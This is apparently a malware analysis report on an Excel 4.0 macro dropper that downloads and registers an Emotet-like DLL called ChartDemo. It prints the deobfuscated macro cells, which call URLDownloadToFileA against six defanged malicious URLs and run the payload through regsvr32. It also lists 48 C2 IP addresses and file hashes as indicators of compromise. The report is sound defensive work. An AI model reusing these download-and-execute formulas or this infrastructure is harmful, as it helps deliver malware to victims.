Baylen Orr

File Analysis - 2022:03:14

ANALYSIS OF ChartDemo.exe Excel Dropper

Network indicators on this page are defanged (e.g. example[.]com) so they can't be clicked by accident.

Samples can be downloaded here

Files

  1. heodo-evaluated.xlsm (sha256: a34269b9a7885bcacdb034c6dd0550dd1a7dc52a65982b6cc64a5d43bdaf0319)

STATIC PROPERTIES

Stage-1.xlsm (Stage-1)

Stage-1 is a delivered Microsoft Excel with hidden sheets and macros. As an unpacked excel sheet, there are no unique identifying strings or properties that easily identify the document as being malicious. The tool Olevba3 is able to extract the obfuscated entry macro. An abbreviated snippet follows:

<f> FORMULA('Je1'!D17,'Je2'!E6)=FORMULA(Vfrbuk1!P22&amp;Vfrbuk1!H9&amp;Vfrbuk1!L2&amp;Vfrbuk1!B15&amp;
        Vfrbuk1!B15&amp;Lefasbor1!E4&amp;Lefasbor1!B8&amp;Lefasbor1!D1 2 &  amp;'Je2'!E6&amp;Lefasbor1!G9&amp;
        <!-- Omitted -->
        P13,D24)=FORMULA(Vfrbuk1!P22&amp;Vfrbuk1!G24&amp;Vfrbuk1!H13&amp;Vfrbuk1!E6&amp;
        Vfrbuk1!E11&amp;Vfrbuk1!F4&amp;Vfrbuk1!K23&amp;Vfrbuk1!P11&amp;Vfrbuk1!P13,D33)
    </f>

ChartDemo.exe (ChartDemo)

ChartDemo is a 32-bit C/C++ DLL built with VisualStudio. ChartDemo exports two functions, "DllRegisterServer" and "DllUnregisterServer" to be used with the Windows OS regsvr32.exe command. AV sandboxes flag CharDemo as an Emotet trojan.

BEHAVIORAL ANALYSIS

A simple social engineering attempt typical of macro-laden MS Office products is displayed to the vicitim. A clean usage bar that reads "Enable all features" is presented to the user. Once macros are enabled, the sheet is blank and appears to not have loaded properly. This attack technique requires Excel v.4.0 Macros, and will not work otherwise. An important feature of this attack method is that the initial cell is not populated with any data. This is likely an attempt to thrwart anti-virus detections that scan the contents of the cell the entry Macro points to.

Deobfuscating Stage-1

By right-clicking on the sheet and selecting "Unhide" the analyst is able to reveal five hidden sheets named, "Vfrbuk1", "Lefasbor1", "EFALGV", "Je1", and "Je2". The text can be revealed by changing the entire documents color from write to red and expanding collapsed cells. A short video of the procedure can be downloaded from the malware samples section as "oldExcel-deob.mp4.7z". This amount of deobfuscation is possible without enabling the macros, and interestingly enough the threat actors decided against obfuscating the malicious IP addresses (see IOC section).

You can further deobfuscate the scripts in a controlled way by patching the original excel file and changing to "Auto_Run" function name to something else to prevent Excel from running it. This is can be accomplished by changing the name via Formulas --> Name Manager. After changing the name, the analyst is then able to safely enable macros and select the renamed "Auto_Open" macro and debug it using the Excel Macro debugger. By evaluting each step of the script, the following cells are populated and called in the "EFALGV" sheet (Note: Most of the above techniques can also be accomplished by unzipping the excel document, and editing the "workbook.xml" file to change the "Auto_Open" name and remove the "hidden" attributes in the "state" fields):

  1. D10: "=call("urlmon","URLDownloadToFileA","JJCCBB",0,"hxxp://api[.]zmotpro[.]com/totalenvironment/logs/8wdgNaq0x/","..\enu.ocx",0,0)"
  2. D12: "IF(GFGH1&lt;0, CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"hxxp://aetoaluminium[.]com/wp-admin/gkqyKlzXoc/","..\enu.ocx",0,0))"
  3. D14: "IF(GFGH2&lt;0, CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"hxxp://24studypoint[.]com/wp-admin/3uEUtb/","..\enu.ocx",0,0))"
  4. D16: "IF(GFGH3&lt;0, CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"hxxps://baicc-ct[.]org/wp-admin/IwhcfC2sdxoToa/","..\enu.ocx",0,0))"
  5. D18: "IF(GFGH4&lt;0, CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"hxxps://mustknew[.]com/lovecalculator/osDBhPqx0tB1Vtp/","..\enu.ocx",0,0))"
  6. D20: "IF(GFGH5&lt;0, CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"hxxp://kiski023[.]com/wp-includes/Requests/Cookie/C/","..\enu.ocx",0,0))"
  7. D22: "IF(GFGH6&lt;0, CLOSE(0),)"
  8. D24: "=exec("C:\Windows\SysWow64\r"&"eg"&"sv"&"r32.exe /s ..\enu.ocx")"

We were able to retrieve the second stage payload, "enu.ocx" (Stage-2) from the second URL called in D12. The attached Fiddler output "40905-fiddler-capture.saz" contains the malicious payload as captured over out laboratory network. On our system, the file is renamed to "bhpb.gmd" and called with C:\WINDOWS\sysWOW64\regsvr32.exe /s C:\Users\REM\AppData\Local\Wgiwh\bhpb.gmd. For consistency in this report, we refer to the stage 2 payload, "bhpb.gmd" with its internal name "ChartDemo".

ChartDemo.exe - Stage 2

Upon execution ChartDemo reads registery values in HKCU\...\Internet Settings\ZoneMap and then initiates contact with at least 48 unique IP addresses using various GET requests. The attachment "GET-requests.txt" contains an abbreviated version from the captured InetSim logs (Note: To capture the traffic through a linux proxy, IP table must be re-routed on the linux machine). Because regsvr32.exe is the host process for ChartDemo, endpoint detection systems may not be efficient. This is an older malware technique that has seen some recent resurgency in combination with virus-laden Excel documents[1]. ChartDemo iterates through the IP addresses found in the IOC section below until it makes a successful connection and is able to retrieve encoded COM script instructions via GET request. ChartDemo exhibits the same traits and code reuse as the Emotet Trojan and is only novel in this analysis in how it takes commands in the aforementioend manner. On three different tests from the URLs above, the same sample was written to a random directory in %USER%\AppData\Local\.

(Note: Analysis of Emotet in conjunction with Regsrv32.exe is still ongoing)

IOCs

urls

  1. "hxxp://api[.]zmotpro[.]com/totalenvironment/logs/8wdgNaq0x/"
  2. "hxxp://24studypoint[.]com/wp-admin/3uEUtb/"
  3. "hxxp://aetoaluminium[.]com/wp-admin/gkqyKlzXoc/"
  4. "hxxps://baicc-ct[.]org/wp-admin/IwhcfC2sdxoToa/"
  5. "hxxps://mustknew[.]com/lovecalculator/osDBhPqx0tB1Vtp/"
  6. "hxxp://kiski023[.]com/wp-includes/Requests/Cookie/C/"

ip addresses

  1. 103[.]134[.]85[.]85
  2. 103[.]221[.]221[.]247
  3. 103[.]75[.]201[.]2
  4. 103[.]75[.]201[.]4
  5. 107[.]182[.]225[.]142
  6. 110[.]232[.]117[.]186
  7. 119[.]235[.]255[.]201
  8. 1[.]234[.]2[.]232
  9. 129[.]232[.]188[.]93
  10. 131[.]100[.]24[.]231
  11. 138[.]185[.]72[.]26
  12. 158[.]69[.]222[.]101
  13. 159[.]65[.]88[.]10
  14. 159[.]8[.]59[.]82
  15. 162[.]241[.]79[.]26
  16. 162[.]243[.]175[.]63
  17. 164[.]68[.]99[.]3
  18. 173[.]212[.]193[.]249
  19. 176[.]104[.]106[.]96
  20. 176[.]56[.]128[.]118
  21. 177[.]87[.]70[.]10
  22. 178[.]128[.]83[.]165
  23. 178[.]79[.]147[.]66
  24. 185[.]157[.]82[.]211
  25. 186[.]250[.]48[.]117
  26. 195[.]154[.]133[.]20
  27. 197[.]242[.]150[.]244
  28. 203[.]114[.]109[.]124
  29. 207[.]38[.]84[.]195
  30. 209[.]126[.]98[.]206
  31. 212[.]237[.]17[.]99
  32. 212[.]237[.]56[.]116
  33. 212[.]24[.]98[.]99
  34. 216[.]158[.]226[.]206
  35. 217[.]182[.]143[.]207
  36. 31[.]24[.]158[.]56
  37. 45[.]118[.]115[.]99
  38. 45[.]118[.]135[.]203
  39. 45[.]142[.]114[.]231
  40. 45[.]176[.]232[.]124
  41. 46[.]55[.]222[.]11
  42. 50[.]116[.]54[.]215
  43. 50[.]30[.]40[.]196
  44. 51[.]254[.]140[.]238
  45. 51[.]91[.]7[.]5
  46. 58[.]227[.]42[.]236
  47. 79[.]172[.]212[.]216
  48. 82[.]165[.]152[.]127

files

  1. sha256: 79a05c77c252c3dd26200967cf318479af86dfbd046e48b3c2f1364002bced6e

REFERENCES

  1. https://www.bleepingcomputer[.]com/news/security/qbot-lokibot-malware-switch-back-to-windows-regsvr32-delivery/